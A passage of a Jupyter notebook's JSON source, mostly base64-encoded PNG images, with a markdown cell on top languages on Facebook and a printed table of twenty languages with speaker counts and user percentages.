zuu+P5Jqw1Co3O65WusXtWdXZPDvPKoRx9PWNfWYq7fzL/awjpem6cCCwCcqBYFKTC7eeeEmCdcNz/tLaxkWljHsILHPXn4wJRoYvnMuDCK1obCIWEYHPC0aOI4tnlsnPnI7/syfHBoYuJly5e/7tFprkXi45FsEeL1dORjj1q1cQ6Pp1hbW4sM0xfk+8sLm8jff2nyd9WkT87Vkp1uG1weYeexzUNvT5u92oqDNsd42lDxOGcXU1v3PCVT8YFaRImwt+DOtWknzjmedi08O1uCFFLwksEDn6iKxw6T0LjZK5C5qRFHC8VeTmnwPo+i6T2avYrBrVhx49HTknY16Aa5uRe84AV7LothI/kVVq1fb4UVw2jj4Ug7bvo8KHvaEFvzX2Gms/uff/3Xf11z8eCtNnLgi9s48++chsM2jzld7eRaLdOezQinrc+2AASXBCfnmhFYcPZsEk4ou4CwRud6AYzwbLhmcHN4dPElXEHno58t/uKKlR6c8G0UdvPFdd6bhPOepBteOvDPmIt8bGKLAtNGc9xP6nYjbLE/9KEPrVzFTyOurlp4Joe6iCsveOdGP8LZPY/RpvdFMc37U5r86KAff9xsOp7q61wdbR464+6GuVrBq2cctNKkt0Zi415/9FfxBWfUOLOzGQnUEEi2jVbht/i5EXAQBauLQSx7i447O6HwMOHTyD41xmE+u9g4iot73jD3FNP7J+LgLWaFluu043euvf/9799fGVoIf1qkiUs3HW0Mfuw4NTHYuodaxqMbouPLX/7ya5HTa9Hf8pa3rGma6RHDxplPVbjLX0zY2rxhtiHbPOU58bOO+MrJCL9/teWEGIF1i8HWArJxahEjIyq7OcVxrjuG0/EQw+6YyITi1viHhYOnKTs9Fd8cO460TP60V7g2j4W2GArX+zxpaTHwiIMD97TTilPRvQ/TlczVxx/ulZ8Hl8Y3jTirI14YczA1Md2Laf/2b/+2NqhP2OkW69rXvvaasynx8XX/Y8Stq4t5McLEP688bR750iGv8Pic48AXv3k2OvevthDUORW8oJw4VAhkGh/kdj5MzXHYNoKRn+CJnXj8Ol+8ChFWDDatmOZKCreWdqOWvaetNo7F6KbTIsJPnXSogbh0iAlDm+4qoPjdeDqH1+A1+mxQGvloYuDuyo03bjZdS78fXcBNdxu1/7IBt7qLl3Z+ONQXbzHNw7V50j0/20q3MY0z/+zyFGddeVoAk8DbjWOejaC5iAqS0DgIzm6OXcuuoNsNMmNKslYh4EvMfBvKWNHwp0/87I7N9XdbFc+CeFUktjjFhRdPZxdXl4ef39fmj1xZBBvx3ve+9z4mPH81w4+bjQ62bo5nnvA2QjrEhu+/qbJxbFa6vazX5gMQftaxuourTprj8m8j+hFvrVzFh7d2Rho0fOK1N3CtH/EG0AWvmMAAxkQJUCG2RWaHZYev+Hjx8GUzB7e1E8UX1lx4CbDHz9ec7hjeXPhpSyNMVx4LbQH0Xm3xj1+8NuHUopga/T4tt5CTq//yAE8cRudprC5GthYlvBzknhbHbpxb8G7Mz3a2sx2zAePDo8ZqUFyc8tHwxZX2XqrjUK84+OHQ2c2bm/b1wWgLYgFLQKCKLzhHRNlh54KbE4B4nW8NJywOdhzx4IZPVPauaMU0D1eS7BZAZ4OHcY5DTuKxw/bBaEWzeVwBNPN8YacWXHhoDOuGla9Hbjef/gKiuGK6guDJVh3TWF1ww1Vfdj7VonfAr3Wta+03fDH9Wr0Wtto7r4Zs9Kh9LX9XTA+A/m4LjhZYfjXa5xrhjn9deWYCEjKpoAhLjJ3NiJzdyFbx42GvcBWIKLY4JBm+jQa75aeFX1pwh+OHpzk4PY5pb/P0XK9wNgR+HPLZPp2IZcHNiYXbRunK1VPJy1/+8lVr+YSXp0YL/zZU9nLiIz7crCPtOvvb3/72/b1V/39G/08GHldQ9aURh5xo51992gzzyuM+qs1Do85nasRDY3Wvvnj3v5LhpE1TwIJHRhybLil44xRaAoI4FhjesYbL+bTDanGLXxGM6ckO73hyTD3xR3fpkgAAEYlJREFUw+har7a69Ns8bjjTo3CwaWFnsxnS7i8abBwLoPAd4xcflia+Gi7nFpYm59W4RSlm9rR3pUuP93h6s5B2sf2iGI3VXEyxacneGplzPDcPHq8a2eHTCIvD+dw0cPSyi7n/0xsOWoElPBOTRImx1xwXmHABNMdtqopfcHhz4Y0wbQbnWnh2+JMrfjHpmTxxdcM8rzwesfLlg18TY3LQ1QK+613vWovmuzsK78rz2Mc+dvl5ea0+xaPduQ0VN2CLQqM48Ph1c/Bs8YTx7rIN42W7Uez+m8f88dMrntjpxqvR1IOHP542Dz0Tx7+r2XI+Wpu46VuvthJqNNlmmMGR6RXT3LbIxOl4whNUcvDTHlbMNkha4oc3L274eNjhYYtpTodnM2pdedo8CmfBYWiscPDyp8ecZhRL8xuFLZ7RtwM9JRUvLfDVMR4x5IMbPiy98BaLjzy1tBhtqq447ttsIvdEfDVccPjZyoedLcy88tA/b5jFnRrx0I5Dp1FP+/6/TAIifJswQsFdRjmWGGIJwQvIjkOHN2dk1/kqGluiYB2z4yGqBh9HvOKww/IprtE5PD6JpicNfQG+R97cPPHDppGWqR03nK+N+vT7Tne6087XSOH4GM3TggeenQ0PO93Zy5Mfmw3IT5OjPGym3gXH4ZXX3e52t53/qLe3DfDi4IufD1sND37+6nLY5sGh0ZyW8jeHh93ILq/9NwkrXIUQiAjn2SKrEC14dkFKHLlmro0AX2L4xZSsEV5nL2F455o5PLTAZ58aYaYWWIWD7e+25uaZC4MHVoy4jbTQYU5+bGKIVVH5smny8UAzp8URT7ma44dbN6/HjUcXJ2x8bFMjzbB4ajDVC2+te7VebXmfJy7+9JUnO414zJUTLpz7/6CWE5CgEgDkQBRgROywOju8AI75my85IzssLriJj4cPfth4jOx8jBViajSHow2FGzYbrGPtoCtPN6VwjtMITw9f+Rudp5HNZoKns7wmvs1kHk6PBz8fNlwzJ3g2c3JpM8F4mgpvDhan/OFxwhvhzeuwNQ8eG6inb/c8acEBL8/iOselVwN4cdfHEz3iFD+nEouswiWUIDY+iOGNJTDtAuHR2J1PfKLihqVDEyc7P/5aCVfM4sKz6Y7ZNV+VmEXztGUx4ulqgT/t6tIVBwdNcmzjFLPadLnnD5uWLd68/NnLiQ0fGx6+Glv5G9lxF5NNvfiH3+aPQ+PnacvNcjfMN73pTZev/OOBwyfX1k68chJT33+2BdxkG6cE2BEj4oQ0MvbIcLDrfOF1x2ya4/DZ+TluQ6WFT3HxxGF+W3xzipQeGunOp//teL5J6Ds3eOjBqc3FwsGOQ7co8LTA4TfvvPsBuOpYnjTBZcfR5l5Bjz4NtOjwGjyONplzXQwYPLpjds0xnuolrtpqjsu/py/fetTgNdzwzsVurc2xsxVzPW1x0BTkoMRyQuQ4PDEViK9WYoJLhJ1Ncs5xTHt4PCWMpwRgxdHjh1MgXFrcFZkvPHu6+niiR5wrj82TzsmjBrhbEFxwHp3FhM8OT39NzG1dwrNvNw48fjy01xzDi1n+YdmrTTqd11sjHGwaXJunOvQmYfipnV9rZywnnLj2P3SAXAIACApWUhLgVBAjW0ksh/HI5Td5HLcoCsFfx4kH3nHN+SwysfwkJCafGjssfnFg42Yzf9Dm8bQFyyd9cTvnR9OsAV7NiNuGTUsxcbS5ccQDr8/FLE8+YuIwOg8bh7nyN9KuGZ2nJR5+eHS+mnseL/nbRG6Y4+fXms61ME+nzl7c9dmWyQQ3KRgiCXAyD1dy5tiJZmsRnJvDw647hmWficHGEb8YE19M42ExcdAJM4vJ5umEhl5tdaPoyuMdZs08LXPB2WgqH7Eds6XPYrVg4eEsVrmGdx4/rHrhaXFxs5mbdsdscsOFp5plZ6MDV/UqLqweVv6esto8N7nJTVbccLiKSU91V0tzztO+nrYE5dwkgPPpMEWZI9ZIlGYenk1w53qFgIctCcWC1yUaR3HNh8dBW4uCVwIweC0KTMVnZ9P5aH0n2AeDvdnWL5MuwNFNhGPb2A6yT1zzaW6Onc1YnuaqQzhjHNnCGGswW5y5YoRTo2zh1cPG6d1xx9481cy1dvx0dZx7ozWRh3U74pFpAeZiI9GBAZtzbhGNbBphzts48GzmW/BExcPewrKFJxSP+RKOO/sKevTGkG4+No64uubpiF0BzBlf97rXraL59l/F88vwExe3MU308a+xO9cdzy7PiXUsPo5a+MM45JDm6bPFz7k0ZYOdMdnVUb7zfS5X3z7U7dVWHPBtKJrik6O6m1+/SWixBCSCcAVtURLNebuhkCJh10s6Hguuw9TaOPC4NTzOxUwLu3nn7OYrvDh4JYc7jWlhj5OfRr/v4ShYvVccCtpXPR2fcMIJqzt2mXeJN7JnOwjXHOxh8+wTFzb8jOe4eVfMfA8b3QSHp9m5sTzNyb3zc53rXKuu881StVTH1q41zd5aqOf+T2+aVGyORgB2BM51i2IR20xh2VtwwQXRHcPygUlUeCOcBbdRJlY8c+x4tDYOHjb69LhddXCExdt9zxvf+MZVOFefFsaG6Pm/TeXKpMBGfdrnMUy4uShhssUR7/QJu7Xl07yNwFbP3nljG8gYp7nwZz3rWfcb6KUvfemqobWpvkY109XaXHugK71as+9fbQFysFiOLUBOFtFiZWsjzA21Vuvo4uIJz85vbgS8OIo5NwJ8GwGPZPjr8PHAaHhg0g3DpsOKZUPZgNoTn/jEfSEV1OYx2kw9WmfRHbObb0HYdOfTZpGyG1swxzjiKRY7Hxxs2w0Any1e2Lga0+HccT5hs5lPk99O1NRRbdVQ7dTRejjWWif27YZamwfBdlEiVnQ9sgJ1NeArwMTjahHZHQvcArJZVDh9cuBqMxhrOCQVftpLLP64XXHwpQ+fOb/C1SPQU4CCKrjizkWv0C1ci529RWpkD9uCxc0+O5/J01y2ziducuHX4cI0xhEers0J31c5qq81VaPWo7Vjm3sDTv10mPWpek4tYk7bXciphW0RI+PblaLFYrOgsEZYjYhishWPoPDixMOOm54S22rhVzHg4mdPB9+e3x37DeS73vWuuxNPPHF3vetdb309wfse225e9/UFc47DZHPu2JzfFwzvsyPH+PNxXs/G1xt2zvOfc/HwY4cv9uSC8/IbFzsu577P9IpXvGLVUW009bUWmgdmtVJbdvWENaqhZk7t2NaXwQBMRobEAuiT0DGsEYEAM4i5xAjiPFHZ+dkIumMxYXHCFhOenUh2z7fh+YRPO6zG7v0beBzFNYoZDyxuXcP9x5q4+kGt+OYOwk0/2Hk++Q6zT8xhx3xxTy0zVtzq0GZQbzVRYzXIv/oaWwtz6qXmsOulOkCNEdHcCIKyC5qdTSeCzZwmACwbYUYYds05sWIm1LzORlxYonHQw95GMM8uplhTSy85y4mPY3ZPYzU2c65E7olw4mIXD7cY4rLT19sa7HAVUj745QaL1xwOc+zpSLcYOODjoUUM5/Dm4HDgYucTRxrTIgd4WmCc6+Kn3bzGp/UzVzw2x/xh5Z2tnNhhjnm1JQinkq3QnFrwSRaekOzG7EYFkIBWMUqMDT6heGqwioMDhtiSYKuY4Wl0xcEBW+GcxwOTPY7Jj4uWFtA5PD8dNnyFV0jdPBt8MXFN3Y5h6XEcP3y8/OMpplpoxYTFzU9t8sHLXs3hxYGbGnHB4ImjGEZYPLjjoEVdZk7rhjkAJ4QIOOolYG4KLQh7gadQPJLS+JVsYsWs0ObCs8XdBmHT0wLrWDzcOCcH7rRXCNjs/MsVzpwuno5vxsSdfvZywjHx+GkPTyNbcdNSvXCJNe10sFezaiBmeLbqNbWw4YbTHdOgO6YD/zZmeDgcumMaqqOcqhU8nv2rLYScAAQBQFDRZsLZzTlGpMVhzIYHr12Lg51NHPb4nWswiqmXcEnDZl/gozHZcMFpYsRtjkbNPLurKC44trTMl/TwU4uc0kg//+3GmXWZ2h2HjwM/fNrZ08I+u7nqiEcO8fChTX3DbeublnKiuzrC1nGXJ5v68GWrvtnoW//THyd9G5xTZERug5dAi0WUYLWKliiCKhDbvB9gJ2hqwTPttMDg0cSXVMWENee8haWBPi27wmXDIWZ4HHHDsRcTN77s5ZpG2HgWydiA7PDx48QjdnXkI8c4wqZRvfhNe/nzY0+jc3NGuZqLR9ximsMJp7Nvecyz43Yc7/oyGLISAzIpKWTsAiSquZIQyHH3RHAaH7zZ4XR2vOZwJYodVuG23GzmZmJ82ePAbT4t+NMiBzHh52KlMZ404kk7PJyGhx1eHI2PY7hyCh8PO1962GiWz7TzwTP5cfMJb4zbKOZWizjssMWEdQwbfnKziUsbrLE1SiM8O424jcf83RaAIBwIAC4IextBQpEhSqximisAu2OC4B0TNRMrJtsUikdMdp0vrIavQsDUcJe0UePDP+0zJ3Y8sHBTSzHL1dysC25zcoyDLjZdHHPlBG8+ffirC2xatnYcevnEwQYr/8kDF54OLS3s6sherpOnnKp7PPg159lw7l9tmeTUAjuuEI5z5KQJXiGMBTCvYBUNrmJKFs/cCAk1F3dawlYEXOLw1+EnPzxbPSwtLQou9lnkqR0ubHniEy/+7DhsnGnHX722OeFg40e3Bj+1iBU/PO3GmvnqG7aYcYsvp3JNO5u4Ooy45qa9XNkd49AdewDKlS/b/hfgTVaIgiNFQqwbspLKXnC+LWJCzSVKoMRK0DE8v1mIePix04NvJsxmDiY9OLOLpRn5llP6+NGGwzi5y1WB4okDT7r5TA6cdRj++OVTw8Ne8dnxOMctBw3PrNWsVznxqb75pNNYw+Uch+4cRxrx0MhWXLipERd8GmdO+5+Vk6wOKClkiKYTO+cCGOEFr6BsOhybOefeuGLbJtAiJkpR2uFsJeYYtoQlhR83vDlYnSbn7GkRV2/R2Z2XE174WXw87LCOp3b8OjuOLQ+fmpjzPai0t7Dmy5UNr7iO2YubFvZs5tk9uNnqMOw6fjo19uoFqxnpxWFekw8f9nJlV18x4fY/dABUYJMCJtZ5BUqUeUQav/Dm2dkc49UdFzyOEoPFHwc7W3h2CeChRQtfIVrEtISPBx5vMfGkE68HCV1pMc+OR/xqIA4bnrTggWmzxpEWWD7FwwGPP+7m0sLORjd8HOVZzPJk18Tc1p3OtODXy2fWMTtu81NjetLufP2tuoMKIQiSbZETW3AkbNkVHw//kihhyRCpiSNhPTwOfjj4VIjwbOZmwjjZ8MBXZJzwenj88BbXvHN4MSs0fDZ81WAWlD0t8cz88U/tuFvc6kJT3DicmzOm3RjeCD/rm05a8Iuj0ZL2qRsHOw525zjClxN72DTiPkzj2jyIE1QxS4C9xGbxCyyIDp8geDw67m3wuXHijwcet15c3Glkd96i8NckzZ4Wvulh75IMNwsdN960bHma225WMVpAPhW/BWDT08JefY3xlid+9ho8fjmVfxxwOl82fatbPjpfPGkRF56dDY/j7M6rIxy7zg6vw69XWwAaQ0RsBS85c0hq7GzGmnk8eoGNYeH1yQ8ruWy4HE8s20xCcjMuDuc6HO3xSBZ/+RjxT51h2cQ1pgcf3hZxER/V2KIUr/wrMI6pe8vND3eLAl+jAT+f+M3DsoVNX/ZZA3OwM//wWy349FkXcdM48TjWq60pLAKT9WySgnVOoDEMe8eNExdHYxjjxFU4djFmIRynNb/4zKUvbnNtAnPTnl/jls95OeG2MBM759IY/xzzMdICO23zOI3ZYMMXr7nGg2JlC9M465MtLP5iNceWpu2GYl+/krEQx/85XoFTWIHjm+cUFuw4/KQKHN88J9Xi+NEprMDxzXMKC3YcflIFjm+ek2px/OgUVuD45jmFBTsOP6kCxzfPSbU4fnQKK3B885zCgh2Hn1SB45vnpFocPzqFFfhfboChraiU0/AAAAAASUVORK5CYII=" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Top languages on Facebook\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 106, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Language Speakers(millions) (%)of_users\n", + "0 English 1100 50.4\n", + "1 Spanish 340 15.6\n", + "2 Hindi 180 8.2\n", + "3 Arabic 160 7.3\n", + "4 Indonesian 150 6.9\n", + "5 Portuguese 150 6.9\n", + "6 French 120 5.5\n", + "7 Filipino 75 3.4\n", + "8 Vietnamese 72 3.3\n", + "9 Bengali 71 3.3\n", + "10 Javanese 58 2.7\n", + "11 Thai 55 2.5\n", + "12 Turkish 41 1.9\n", + "13 Urdu 40 1.8\n", + "14 Russian 36 1.6\n", + "15 Italian 34 1.6\n", + "16 German 33 1.5\n", + "17 Mandarin 29 1.3\n", + "18 Polish 20 0.9\n", + "19 Japanese 18 0.8\n" + ] + }, + { + "data": { + "image/png": "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